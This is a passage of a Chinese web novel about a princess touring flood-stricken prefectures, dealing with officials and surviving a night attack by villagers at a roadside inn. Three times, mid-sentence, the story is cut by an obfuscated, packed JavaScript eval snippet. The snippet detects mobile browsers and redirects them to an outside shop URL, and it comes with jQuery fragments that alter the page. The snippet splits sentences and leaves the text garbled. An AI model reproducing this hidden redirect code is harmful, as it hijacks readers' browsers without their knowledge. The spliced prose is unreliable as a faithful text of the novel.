老宁王好歹送了一车宁州土仪，这让空手而来的平王府二公子更感尴尬。没什么好说的，拱拱手就当道别了。 依旧是薛亲民送他出城，到了城门口，薛文禧举着马鞭指了指远处山峰，言道：“亲民，哥哥给你说句掏心窝子的话，你和你弟弟，就如这山峦，男子汉自当顶天立地。但你们的姐姐，就像这密布乌云，只会压制你们。宁王爷爷竟让一个女孙出入外书房，还让她带着府卫亲兵……” “时候不早了，堂兄还请及早上路吧。”薛亲民也指了指那层云，“雨露天恩，堂兄一会可要接着啊。” 薛文禧一张笑脸没绷住，变了好几个颜色，最终一挥鞭子，绝尘而去。 平王府闹这么一出，宁王祖孙两个都知道他家打的什么主意，约莫是后知后觉运粮船跑宁州来就没下文了，想着怎么能分一杯羹。 但平王府也就只能这样了，区区一万常驻军，两万抽丁守卫兵，宁王还不放在眼里。 “我看雨势比之前住了许多，赈灾的事情也该安排下去了。你往各府县去一趟，敦促此事。”老宁王在外书房里给孙女儿派事情。 “宁州全境吗？”薛明德有些意外。 宁王府三兄妹幼承庭训，祖父并不特别偏袒谁，甚至三个人的启蒙师长都是同一位大儒。世子尚在时，薛明德就常被祖父、父亲带在身边亲自教导，尔后大一些了，也常替祖父去处置府县中的一些事，甚至代祖父巡视边军。 但将宁州全境赈灾都派给她去敦促，这还是头一次。 这事儿说白了就是给下头的官员们紧紧皮，也是在给她立威。 老宁王扫了她一眼，“怎么？不敢去了？” 薛明德哈哈大笑：“祖父，您这激将法不必对我使。我当然要去的。”说着又做了一揖，语气正经了些：“不敢请尔。” 老宁王也憋不住笑，忽而缓缓伸手，摸了摸她的头。 孙女儿长大了。 决定了的事情就当尽快执行。 薛明德当晚在华荣居陪母亲用膳，给母亲略微提了句。 周夫人心疼女儿又要出门，可她也是大家闺秀出身，明白幼狮总是该推出去历练的。尤其趁着老狮子余威仍在。 薛明德得到母亲的支持，满心的欢喜，但面上总归矜持。 她母亲捏捏她的脸。 “你呀，将许多事都端在心里，在外头也就罢了，在娘亲这儿，还要这般不自在么？” 薛明德脸上微红，“诶呀”了一声，“娘亲不是一直都教我谦虚谨慎嘛。”说着往娘亲肩头靠了靠。 周夫人搂着她笑。 这天从一心斋出来，薛明德往自己的院子里走，半路遇到了齐夫人。 齐夫人是她父亲的侧夫人，和其他深宅内院的勾心斗角的戏码不同，这位侧夫人是周夫人亲自替夫君挑选的良妾，生下宁王长孙后才扶上了侧夫人的位份。 所以两位夫人相处得倒也还行。 ——此时齐夫人从回廊上步下阶梯，遇到了郡主，她停了脚步，主动叫了句：“郡主。” 薛明德点点头，也回了句：“齐夫人。” 说罢两厢错开，各回各房。 齐夫人的心腹丫鬟捧着一盒子点心，小心翼翼的提醒：“夫人……” 齐夫人别扭了一会，朝着回廊处望，郡主已经走远了。 她叹口气，说道：“回去吧。” 丫鬟晓雪不敢多嘴，抱着点心盒子，陪她往秋怡居走。 到得岔路口，齐夫人道：“去看看公子。” 晓雪知道夫人说的是大公子薛亲民，应道：“是。” 春熙楼离秋怡居并不远，这也算宁王府的惯例了，就像郡主殿下的千玉堂与周夫人的华荣居只隔了一座花庭。 主仆两人走了没多久，就到了春熙楼。小丫头在院子前边除草，落雨时节草籽儿长得太快了，一夜过去就能满地新芽。见到齐夫人，小丫头连忙起身请安，一个人陪着她们往里走，另一个跑进去传话。 过不多时，两个大丫头迎了出来，也陪着齐夫人，一路走一路说，大公子在温书呢，不许人打搅，她们都没敢近前。 齐夫人听了很满意。 小书房里薛亲民确实在温书，给他讲课的夫子病了，已经有七八日没进过学了。 这会儿小厮到了门边，听了外边丫头的通禀，再回来告诉大公子。 等薛亲民从书卷里抬头，娘亲的声音都已在回廊上传过来了。 “娘亲知道你读书辛苦，给你带些点心。”齐夫人高高兴兴的坐在小厅桌子边。 丫鬟晓雪打开食盒，将里头几样点心一碟一碟的取出来。 薛亲民看了一眼，说道：“这不是长姐喜欢吃的点心么？” 齐夫人：…… “诶呀，我这是做多了……” “你想求长姐什么事？”薛亲民又道。 齐夫人：………… 晓雪已经摆好了点心，默默收好食盒，假装什么都没听见，退到了门边。 薛亲民抬起了一双明亮眼睛，看着他的母亲，“你是想求长姐去巡查州境的时候带上我。” 他的语气平静，简直不像一个十二三岁的少年。 齐夫人张了张嘴，半晌方有些委屈的道：“我只是想着你都这么大了，还没自己出门办过事。我从来没想着你去跟至善争什么，他是嫡子我知道，可也不能什么都不带你呀。你祖父太偏心……” “母亲，我下月才满十三。我这年纪能替祖父做什么？” “你长姐十二三岁的时候都跟着你祖父巡视边军了。。”齐夫人小声嘀咕：“这孩子是太聪明还是太笨？真让人为难！” “祖父也没带着至善做什么。”薛亲民耐心的和母亲说话。 齐夫人柔柔弱弱，委屈得眼圈都红了：“可他在栽培你姐姐呀！” 薛亲民的脸色冷了一些，淡然的道：“母亲想要我和长姐争什么呢？” 齐夫人给噎住了。 她在要求儿子跟郡主争吗？没有啊。没有吧？？ 薛亲民看着母亲有点呆的样子，莫名好笑，表情也柔和了下来，“母亲别为这些事操心了。我这时候， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16998353|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是多读些书是正经。” “是是是。”齐夫人回过神来，一叠声应着，又劝儿子吃点心。 薛亲民对点心没有偏爱，还是笑着捻了一块。 这时节的火晶柿子甜得清爽，用来做千层糕挺好吃。 送齐夫人出门的时候薛亲民说会去跟祖父求请，夫子年纪大了，安心养病为佳，他想先去宝墨书院读书。 齐夫人更开心了，弯着眼睛带着丫鬟回去。 到得秋怡居坐下好一会，想到儿子长进，脸上的笑意又添了一层，自言自语的道：“宝墨书院，那里的夫子好呀，宝墨……宝墨？？” 她愣了下，转头盯着晓雪，不大确定的问：“宝墨书院是周府请了名儒授课的那个书院吗？那不是周府的家学吗？” 晓雪为难的点头：“仿佛听说是。” 齐夫人“嚯”的站起身，她儿子要到周夫人家的家学去附学？？？ 这听着怎么有哪里不大对呢？？？ 天边流云聚了又散，庭院里的青石都染上了一层薄薄的凉意。 雨终究是停了。 薛明德点了二十个精干亲卫随行，宁王爷尤嫌太少。 “怎好白龙鱼服，叫我放心不下。” “在旁的地方也就罢了，宁州，是我们自己家，谁敢惹我呢？”薛明德扬着眉毛的样子，说不出的肆意张扬。 宁王心里也很骄傲，但他敛着笑，叩叩桌子，道：“还是多带些，带两队侍卫吧，遇着事，你也好有使唤的人手” 两队，四十人。 薛明德少年意气，还想再争辩两句，一抬头看到祖父满鬓的华发。 不知怎么，心里涌过一阵酸楚。 祖父一定很担心她和弟弟们的安危吧，生怕他们如她父亲一般，在意料之外亡故…… 她借着作揖的姿势低下了头，语气调皮轻松：“谨遵宁王号令！” 宁王给逗得哈哈大笑，扶她起来，没留意到她薄红的眼角。 出门的时候依旧带了观棋。 家里“琴棋书画”都是她的贴身婢女，观琴和她一同长大，观棋是老王爷亲自点的，苗子好，小时候送去拜师学艺，功夫底子甚至比薛明德还好，只是旁人不知道。 一行人骑着马，先往宁安城府衙。崔府尹一早也知道了这事儿，领着一众官员在门前恭迎郡主殿下。 这老头是宁王心腹，也确实得力，没什么好说的，薛明德只停留了小半日，临别时还勉励了一番。 崔老头笃笃笃的点头。 忽听郡主殿下道：“那筹集米粮布帛的事情就拜托崔大人了。务必在今冬之前足量备好。崔大人留步吧。” 诶？？ 宣诚郡主说罢翻身上马，带着观棋和一众侍卫“扬长而去”。 崔府尹“诶诶诶”的追了好几步，一旁的官员纷纷跟随，还冲着郡主殿下的背影挥手。 只有顾仓曹苦着脸道：“大人答应得好痛快，这般多米粮，我等怎么凑得出来。” 崔府尹停着脚步，真是欲辨无穷辨。 他那哪是痛快答应，是点头点快了一时没刹住啊！没看他追着郡主要说道嘛！ 9.仓湾府事 第九章仓湾府事 一行人离了大街，渐往城门而去，在城里还缓步颠着，出了城门，都纵马奔驰起来。 好在入了秋，从春到夏的那一场雨，总算停驻了。只偶尔一两场，不算得碍事。 到得城外几十里的小茶铺，一队人马才停下来打尖修整。茶铺里外都坐了些人，看样子多是走山货的行脚商。 茶铺惯例是个夫妻店，俩口子一个忙着招呼客人，另一个忙着倒茶水。烧水壶边是高高垒起的蒸笼，蒸包子的香味弥散开来，引得人肚子咕咕咕的叫。 王府亲卫分为两队，一队人牵着马匹去吃草，另一队先过来填肚子。观棋陪着郡主坐在茶铺里一个相对干净的位子上，周围几张桌子都是王府的人，承半圆形将殿下拱卫在中间。 热包子很快送了上来，有豆荚鸡蛋馅儿的，更多的是素馅儿的。角落里有人絮叨，埋怨包子比上回来的时候贵了两文钱。 茶娘子干活很麻利，说话的嗓门也要大一些：“哪能不贵呢，咱这买面买蛋都比往年贵了许多。也就我这还能吃上热包子了，您再往前走，只有干饼子呢。” 那客人听得如是说，也没再嚷嚷，倒是和一桌上的人说起世道来。 薛明德听了一阵，没什么新鲜话了，才举着筷箸夹了个包子吃。 别说，这青菜豆干馅的包子还怪好吃的。 观棋一连吃了好几个鸡蛋包子，太鲜了！等着新包子送上来的空档，她眨巴眼睛，看着殿下，问出了心中的疑惑，“殿下，今早在宁安城府衙，你令崔府尹准备米粮，是备着施粥济民吧？” 薛明德沉默着看她。 她轻轻打一下自己嘴巴，改口道：“姑娘。” 薛明德回答了她之前的疑惑，“一半。” “那另一半呢？” 薛明德往茶铺里看了半圈，上一桌客人已经走了，刚坐下来的这桌问店家有没有馒头，馒头比包子便宜些，还扛饿。 “为了平抑物价。” 茶娘子端着热腾腾的包子送上来，薛明德又夹了个素包子，皮薄馅足，是个实在店家。 “我们坐在这儿，还是在州城脚下，米面粮食比起往年已经涨了两成，再往别处呢？” “哦。。”观棋似懂非懂的点点头，又凑近了一丁点，“我看崔府尹在后头追着我们跑，不像是要送我们，倒像是要揍我们哩。” 薛明德莞尔一笑。 观棋也嘿嘿嘿的笑，又道：“你让他筹这般多米粮，会不会筹不上来啊。”说罢又觉得自己管太宽了，缩回身子，悄悄打一下自己的嘴：“姑娘，我随口说的。” 薛明德没怪她，倒是笑得有些坏：“你道我为什么去看法曹的册子。那一起为富不仁的东西，也该狠抓一抓。”她说着哼了一声：“都是些蠹鱼，抖落出米粮银钱，是不是也该还些给百姓呢？” 观棋小鸡啄米似的点头：“是的是的！” 此后一路还挺顺利，所过城镇兴许是离宁安城不远，治下也还看得过去，薛明德并不多逗留。 走走停停半个月后，他们抵达了一座城池。 望着城门匾额上刻着的“仓湾府”三个字，薛明德眼睛弯弯，有意思的地方来了。 她轻夹马腹，一马当先进了城。 连月暴雨，沿途道路泥泞，进了城里才算好些。从城门到集市，一路水磨的大青石铺地，商铺凋敝了些，但总还有些生意，薛明德留心看，米粮的价格上扬不多，可见本地父母官没少花心思在民生上。 城门卫派了一队人沿途护送，到了府衙外，廖府尹早开了中门，候在了门外。 不怪他未能远迎，实在是消息递得慢，他也是在这一行人都要入城了才知道宣诚郡主到了仓湾府，偏生已是后半日，忙下令将手下官员都摇了回来。 当晚又是熟悉的仓湾菜，薛明德说连日奔走累着了，只略用了几筷，便回行辕处休息，让官员亲卫们都随意。于是各得自在。 接下来两天听当地官员汇报了府下各县的情况，一大半都在哭穷。 薛明德笑笑说，我知道大家都有难处，今年的税收暂且按八成征收，余下的两成算你们欠着，等年景好了再还。 户曹一听就哭了，用衣袖抹着脸边哭边叨叨，仓湾穷啊，大风大雨浪卷浪，整个仓湾府损失过半。郡主殿下要按八成征收我们咬咬牙勒紧腰带吃了上顿不吃下顿也要凑出来，可是能不能不算我们欠债。 薛明德等他哭完嚎完，再好整以暇的道：“宁安府不欠债，不单止不欠债，今年还要比往年多征收三成米粮。”她扬了扬下巴，“要么穆大人想和宁安府换一换？” 穆户曹眼泪还沾在衣袖上，哭声却跟给人抽了一鞭子似的卡住了。 廖府尹咳了一声，离座起身，拱手道：“我等定尽力而为，不负郡主所望。请郡主殿下和王爷放心。” 一群官员也纷纷拜下，薛明德往堂下审视一圈，嗯，穆户曹的腰弯得最低，看来他并不想和宁安府换。 公事都办得差不多了，在离开仓湾府的前一天，有两个眼生的官员来郡主行辕处求见。 门前侍卫仔细的问了几句，那俩人说自个儿是运粮船的押粮官。承蒙宣诚郡主救命之恩，听说郡主路遇此地，特来拜见。 这两个人都苦哈哈的，要不是穿了一身官服，侍卫真觉得他们像是上门打秋风的穷亲戚。 等通报的人再跑回来，说郡主殿下准他们求见，这才放了行。 王箬横和李淇也知道宣诚郡主救他们一时不等于就该救他们一世，可他们实在没办法了。 一下子丢了好几船粮食，余下的运粮船也不知还能否承受得住大江风浪，他们都在这逗留大半月了。 船夫们的心气多半也散了，甚至有几个不知什么时候跑了个没影，他们都没地方找去。这时候真的横竖都是死。 两个人在仓湾府天天就是对坐着垂泪。 这会儿听说宣诚郡主来了，赶忙设法投贴，再打听着好几天，府衙里的事情也处理得差不多了，才又备了份礼物，往行辕来。 算是碰一碰运气，求郡主殿下给出个主意。 宣诚郡主在前院敞间见的他们，敞间的门开着，门前有侍卫。屋子里郡主殿下坐在主位，身旁还站着一个打扮利落的侍女。 王箬横和李淇跨过门槛，一上来就是哭，直接跪倒在地，眼泪哗哗的流，只差捶胸顿足了。 薛明德有些头疼。这两天她净看人哭了。 等这两位哭得告一段落，观棋出去叫了个小厮，送了水进来让他们净脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006879|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洗过脸面，王箬横和李淇都垂着头，苦笑道：“让郡主殿下见笑了。” 薛明德没怪他们，言道：“运粮船的事儿我听廖府尹说了。天灾人祸，谁也难料。只是你们二位现今有什么打算呢？” 李淇年纪轻，听郡主这般和风细雨的问，眼泪又要下来了。 王箬横叹道：“实在是没了主意，才冒昧来请殿下的示下，但求指条生路吧。” “还没问过你们，这批粮食，是要运往何处的？” “回郡主的话，是要运往陪都庆远城。” “庆远？”薛明德挑了一下眉。 大晟国国都晟京，陪都庆远。 但据薛明德所知，因为太后厌弃的原因，皇家人甚少往陪都去的。陪都更大的作用是——以策万一，渡江避险。 薛明德的眉头皱了起来，总不至于已出现了这个“万一”吧？ 早在几年前，国都晟京的政令就摇摇欲坠了，诸侯们各自割据，总有这样那样的理由减少进贡，可每年总还是做做样子，税收能交上去个五六成。到得今年这场大雨，宁州自己都不想纳粮了，只不知别的州受不受波及。 “庆远城里谁下的令？”薛明德沉思了一会问道。 王箬横摇头：“下官不知。只知道是我们州牧张大人下令开仓取粮，下官等人都只是奉命行事。” “叙州州牧……”薛明德在关于邻居的记忆里扒拉了一下，“张聪？” “是。”王箬横低着头，躬身一揖。 薛明德又问了几句，奈何王箬横和李淇人微职低，确实就是个跑苦力的，再深的事情就一问三不知了。 薛明德道：“如今这情形，你们回叙州，或是往陪都，恐怕都是死罪。” 两个人一哆嗦，面色发白。 宣诚郡主揉着眉头想了一会，淡淡道：“宁安府的仓曹还缺两个副职，两位可愿意去？” 王箬横和李淇互看了一眼，听得宣诚郡主又道：“过得两年，这事情淡了，我派人去你们家乡将你们家人接来宁州，一家团聚。” 俩人都不曾想到还能有这样安排，立时跪下磕了个头：“郡主大恩，下官叩谢。下官愿往宁安府。” 薛明德抬手做了个虚扶的手势，“两位大人请起。我年纪小，可不敢受这样的大礼。” 王箬横和李淇互相搀扶着起身，抹着发红的眼圈说道：“我们是感念殿下的救命之恩，一回两回的，救我们于水火。” 薛明德不置可否，只分派道：“余下的粮食也不好一直搁在仓湾府，你们带着人继续运送到宁安城吧。也算你们履职中的一份功劳。”她眨眨眼睛：“省得有人嘀咕你们初到州城就安排官职。” “是。”王李两人又是深深一拜，对郡主殿下满心的感激。 事情圆满解决，两方都挺高兴，王箬横和李淇携手告退。 薛明德让人取了笔墨，随手写下一封手书，用小印封好交给一个亲卫，令他亲手送到宁王手里。 陪都之事有蹊跷，还是请祖父派人去查一查为好。 外头的日光落进来，是这个秋季里难得的清朗天。薛明德往后一挨，靠进圈椅中，嗓音有些懒散： “安排下去，明日出发吧。” 观棋领命：“是。” 10.杀了他们 第十章杀了他们 次日一早，一辆马车载着主仆二人，晃晃悠悠的离开了仓湾府。 出了城门，观棋探出头往马车外边看，几个王府的侍卫骑着骡子穿着寻常人家的衣衫跟在马车左右。她嘿嘿嘿的笑着又把脑袋缩了回来。 从此这一路，都这般将人分散了跑，到了下一站，有必要呢，就碰个头，没必要的，就留个话在客栈，总能收到消息。 否则一行四十来个人，还没摸到城门呢，里头的官员就知道“钦差大人”要来了。 如此可“苦”了地方，不少官员都指着这天灾平账呢，什么粮仓少了粮食，那都是被雨水泡坏了，什么路桥不堪受力，那也是下大雨的祸。 郡主殿下一路查下来，有些堪堪于边的还瞒得住，那些迫在眉睫的，转眼就暴雷了。 好在这么多年宁王府三代人臻于郅治，地方上还不至于太过火。薛明德查实了训责一番，罚了俸禄，依然留任，只让他们将功折罪。 当然也有做得好的地方，薛明德记下了几个人的名字。 中秋就在这沿途中，不知不觉间过去了。 九月初，那辆晃晃悠悠的马车，驶近了岳北府。 这是宁州最边缘的城镇之一，离宁安府最远，也最穷。 日头已微微的斜了，薛明德坐在马车里，一手按着额头。 观棋担忧的望着她，想让她靠在自己肩上，薛明德摇摇头拒绝了。 观棋又撩起了车帘子，探着脑袋往外看。破败的土路泥泞不堪，入目皆是乱石，车辙深深的陷入湿泥地里，半天没走出几里路。 “到前边镇上，把车弃了，找人买两匹骡子。别买马。”薛明德头疼的道。 昨晚不知怎么感了风，今日竟发作起来。 观棋咬咬后槽牙，为难的道：“秋风起了，您坐车都难受成这样，还骑骡子吗？” 薛明德靠着车壁，人不舒服，脾气也上来了：“让你买就去买！” “是。”观棋立即应下。 天色慢慢暗了下来，远处不知哪一处村落升起袅袅的炊烟，让人在低回疲惫的情绪里生出一丝暖意，即便是训练有素的王府亲卫们都忍不住欢呼起来。 几个亲卫一面开路一面护持着马车，在天刚擦黑的时候来到一座院落前。 薛明德头疼得很，观棋扶着她下了马车。 一个亲卫上前敲门，门里半天没动静，天色更暗了，他只得用力的拍了几下。 木门“吱呀”一声缓缓打开，一个男人提着灯站在门后，脸上有几分戒备的神色。 亲卫愣了下，旁边许孟然挤了过来，笑嘻嘻的说道：“叔，我们是路过的，天黑了，想借宿一宿。” 男人打量着他，他又道：“明天一早我们就走。您给壶热水我们暖暖，柴火钱我们照着给。” 许孟然说完还是笑。 男人的戒备放下了些，退开一步，忽然看到他身后有两个女子，男人神色明显的顿了下，但没说什么，回过神来打开门，往里头喊：“阿芙，来客人啦。” 过不多时，房里就走出来个女子，想来便是他口中的“阿芙”。 阿芙看到门外一大伙陌生人，也微微一怔，但很快反应过来，笑着道：“快快快，里边请。” 跨过门槛，是一处乡下地方常见的院子，难得的是里头竟盖了二层楼。然而黑灯瞎火，只看得影影绰绰。 阿芙比她男人利索，一边掌着灯一边大声与他们说话。 这里本是一户普通人家，仗着地势靠在小镇外围，慢慢就成了半个客栈，有行脚商人路过这儿，会要间客房，吃上一口热乎饭菜。 屋里还有个人，五十上下的年纪，男人叫他阿叔，让他领着客人去后头棚子卸马车喂骡子，自己去厨房烧热水去了。 阿芙多点了两根蜡烛，大堂里亮堂了些，她赔笑道：“灯油没了，路也封了，还没地方买去，客官见谅。” 一边说，一边引着贵客上楼。 薛明德忍着头疼问：“往哪儿的路封了？木溪镇？” “哟。姑娘对我们这儿的路挺熟。往木溪镇的路也封了，岳北府的也封了。” “谁封的？”薛明德皱眉。 阿芙低声笑：“大雨啊，大雨把路封死了。” 她手里的灯烛晃了下，映得那表情嘲讽，只是她走在楼梯的最前头，谁都没看到罢了。 很快到了二楼，只得两间客房。阿芙说楼下还有通铺，房间是不是让两个姑娘住。 观棋先进屋子里查看一圈，出来说道：“我陪姑娘住这间吧。” 薛明德点了下头，走进屋里。 亲卫们各有默契，六个人派成两班，一班在门前守上半夜，另一班守下半夜。 阿芙自然不知道这些。她留下几根蜡烛，口中说着一会就送热水上来，自顾往楼下走去。 屋子大约有些年头了，梁木散发出轻微腐朽的气味，也可能是雨水太重，如积羽可沉舟。 出门在外，倒也没什么好讲究的。薛明德坐到桌旁，额上有微微冷汗。 留下观棋照顾郡主，侍卫们按着排班，三个人去隔壁屋修整，三个人留在门前或坐或靠，也权当小憩。 许孟然往楼下厨房取热水，又许了些散碎银钱，让店家做几个热菜来。 阿芙把手在围裙上擦了擦，乐呵呵的答应了。 灶台前老阿叔蹲坐着添柴，许孟然随口问了句店家呢？ 阿芙捏着银角往缠腰带上塞，笑容更甚，“就想着给你们做口吃的呢，让他到菜地里捡几颗菜去了。” 许孟然“哦”了一声，一手一壶热茶，又回楼上去了。 客栈茶叶粗糙苦涩，但好在是滚烫烫的热水冲茶。薛明德用了些热茶水，脸色好了些许，头也不那么疼了。 观棋给她揉着太阳穴，一面问：“姑娘，要不要去榻上躺一会，一会儿饭菜熟了我叫您。” 薛明德道：“不必。我好些了。你去拿一剂银翘散。” “是。” 观棋答应着，走到纳春小柜旁，柜子上摆着两个包袱，都是些贴身的衣物和细软，也有金疮药和几副应急的方剂。 寻到银翘散，顺手又拿了身换洗的里衣，观棋伺候郡主换了一身衣服。镇中小店不方便沐浴，能换身衣服也舒爽些。 很快店家送了晚饭来。一碟子小白菜，一碟子豆干，还有一碟子香葱炒蛋。饭是糙米，阿芙还是那句话，路不通，菜可以自己种，米缸快要见底了。 薛明德问附近就没有人种谷子吗？ 阿芙顿了下，低头说道：“田里也给雨水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021243|193566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲毁了。就自家后院的菜园子里还种着些菜。” 薛明德沉默片刻，让观棋多兑几个钱给她。 雨是停了，可天边翻滚着墨色的层云，星光隐匿，像是应着那一句“月黑风高”。 将就着吃了晚饭，又用了一剂银翘散。王府的成药见效极快，薛明德在床榻上沉沉睡去。观棋就在榻边铺个地铺守着她。 时已深秋，浓重的夜色里传来一两声鸟雀的啾鸣。 “姑娘。”观棋的声音在耳畔响起。 有人推了推她的肩。 “郡主！”观棋的低喊声带了急切。 薛明德心中一凛，醒了过来。 “姑娘。有人往这边来了。约莫有十来个。脚步重，不像会功夫。但是人越来越多了。” 床帘卷在挂钩上，观棋没点灯，借着窗外微光，薛明德看得到她手里握着常用的短刀。 薛明德眨了下眼睛，立即起身。 这时外头响起轻微的叩门声，“观棋。” 是许孟然那小子。 薛明德点点头。 观棋去开门，薛明德在榻上摸到了随身带的短剑。 房门打开，许孟然看到郡主持剑立于房中，心头稍定，跨步进来低声说道：“姑娘，来人了，来者不善。我让人下楼抓那几个店家了。” 看来他们遇上了黑店啊。 “只怕抓不着了。”薛明德站到窗棂一侧，将窗子推开一条缝隙往下望，月光浅淡，院子里影影倬倬，蜂拥而至好些人。看样子已不是黑店这么简单，她放下了窗页子，以防他们手里有弓箭，遂冷声吩咐：“叫他们回来。” “是！”许孟然应了一声，快步往门口走。 可还不等他走到门边，楼下竟已响起喊杀声。数不清有多少人影涌进了客栈大堂，左右各有一人手持着火把，照亮了方寸之地。只见那下楼的两个亲卫边御敌边退回楼梯，余下的几个王府亲卫早已手持兵刃，拱卫在郡主殿下所在的客栈房门前。 “抓住他们，马车和银子都是我们的！”为首一个黑壮汉子大声嚷嚷，带着头往前冲。 那两个亲卫急忙回身守着楼梯口，有这一步，至少易守难攻。 薛明德居高临下，却见他们手里拿的多是镰刀锄头，竟还有人拎着扁担。 奇了怪了。 如此规模的黑店抢劫，竟只是村民械斗吗？ “不必抓我们。出门行路本也没有多少银钱，都给你们，权当交个朋友。”薛明德嗓音高亮，带着养尊处优的尊贵与傲气，镇住了一群乌合的村民。 她的脸上并无惧色，说这话显然只是表明了不想惹事。楼下顿时一静，人们开始面面相觑。 “别听她的！”人群里忽然又冒出一个男声：“有钱的都不是好东西！想想阿杨啊！” 薛明德冷眼望去，出声的是个麻脸男人，个子不高，若不是在二楼还真瞧不清他。 不知这“阿杨”又是谁，群情顿时激愤起来。 “杀了他们！”一个苍老悲愤的声音响起，同时一件物什从楼下砸了上来。 只是一只茶碗。力气不大，没能砸到二楼，可这声音这动作，一瞬间点燃了村民的情绪。 “杀了她！杀了他们！！” 本就暗沉沉的客栈大堂，杀声顿起。 11.天还没亮 十一章天还没亮 四野昏沉，镇上家家户户房门紧闭，天地间仿佛只余着这小小客栈尚有灯火亮光。 分明这般大的动静，竟没有引来任何人的好奇张望，就连寻常里该有的更夫都不见踪影。 客栈里一群乡野村夫，喊打喊杀又毫无章法，只顾抡起手里的锄头扁担，“嗡”的一声往前冲，在楼梯口给堵住了，乒乒乓乓打起来。狭窄的木楼梯压根上不来许多人，除了为首的几个在轮流挨揍，后边更多的人只能叫嚷咒骂。 眼看着己方人马渐渐被揍成猪头，黑壮汉子怒吼着随手抄起一块物什，往二楼走廊直扔过来。 力气不小，可惜没有准头。薛明德皱眉看着那块落在脚边不远处，霎时四分五裂的土砖。 下头一群人大概受到了启发，在客栈大堂里外寻着乱七八糟的东西准备往上扔。 观棋用刀柄架开个锅盖，薛明德侧头避开一只锅铲，冷漠的道：“动手吧。尽量少杀几个人。” 在她身旁的王府亲卫早就摩拳擦掌了，听得这话立即抽//出随身佩刀，单手撑着扶栏往下跳，一时间跟狼入了羊群似的，杀得楼下鬼哭狼嚎。 一开始亲卫们都还只是用刀背去砍，但那田舍汉又哪里懂得他们是手下留情，一个个不要命的扑上去厮打。有个年轻的亲卫甚至给咬伤了半只耳朵，挂啦下来半张脸都是血，亲卫只觉得又痛又怒，忍无可忍，嗷嗷叫着抬手一刀捅了过去。 那村舍汉子捂着肚子，双眼突出，一时半刻间就丢了性命。村汉们见死了人，更似群情激奋，又叫又骂的将他们围困起来，但拳脚哪里敌得过利刃呢？ 麻脸男子见状不妙，挤到黑壮汉子身旁说了句话，黑壮汉子点头，在怀里摸了一把，摸出个竹哨。 突然间尖锐的哨声缭过夜色，飞散四方。 观棋急道：“不好。他要呼叫同伙了！” 四周都是乡里，也不知为何能来这许多村民。薛明德已意识到不对，这些村汉不像是普通的打家劫舍，而且闹得这般严重，镇上竟没有门中衙役到来查看。 只怕这岳北府城郊，已出了更为严重的事情。 天灾吗？还是人祸？ 又或者，兼而有之。 不等她细想，四面八方又围上来许多人，不必观棋多言，她自己都听到客栈外蜂拥而至杂乱的脚步声，以及毫不掩饰的呼喝声。 总不能把这上百人全杀了吧。 “姑娘。”观棋一直守在她身旁，寸步不离。 薛明德忍着气，下令道：“想办法冲出去，回头再来制他们。” 话音未落，一支点燃的火把破窗而入，燎过窗帘，落在地板上，观棋吼了句：“许孟然！” 自己飞身跑进房舍，要扑灭窗帘上逐渐燃起的火势。 许孟然接替她守在郡主身边，却见第二支火把又从窗外砸了进来，接着第三支偏了准头，砸在了窗子边上。 楼上楼下喊杀声不绝。薛明德脸色微冷，沉声喝道：“放鸣镝。” 观棋大声回应，旋即摸出袖箭，就着窗页上半燃的火星擦过箭头，弯弓搭箭，往夜空高处射//出。 铜制的鸣镝带着尖锐的呼啸划过夜空，火星子在高速的飞溅中益发显眼，让远近的人都看得清晰。 “嗷！”窗外的人群传出了一声痛呼，紧跟着第二声，第三声。杂乱的痛呼和叫骂叠在一起令屋里的人既愤怒又恐慌。 “出了什么事？”领头的黑壮汉子怒吼。 麻脸男子指着楼上愤恨的叫嚷：“肯定是他们的帮手来了。” 薛明德也有些意外，才放出鸣镝，李牧山领着的另一队王府亲卫这么快就到了？ 莫非他们刚巧在附近？ 好在她的疑惑没有持续太久，来人给了她解答。 小小的客栈门口像是突然被撕开了一道裂缝，几个高大的男人穿着缁衣马裤，手持阔背砍刀，从外头一路杀进来，见人就砍。但若细看，那些砍刀多半砍在了四肢或后背，避开了周身要害的地方。 门里门外，呼嚎声，哭叫声，热热烈烈响成一片。 血腥味逐渐蔓延开来，冲得人皱眉。村汉们也杀红了眼，有的四散奔逃，更有的拼着被砍被杀，咬牙切齿的往楼上冲。 “你家祖宗！”黑壮汉子骂了句脏话，搜来墙角几坛烈酒砸碎在楼梯，随手抢过一支火把狠狠的砸进了酒泽里。 烈酒遇火，飞窜起火星无数，木质的楼梯被火舌舔//舐，方才从窗户里扔进来的火把已点燃了帐蔓窗帘，霎时间便连成了一片火光。 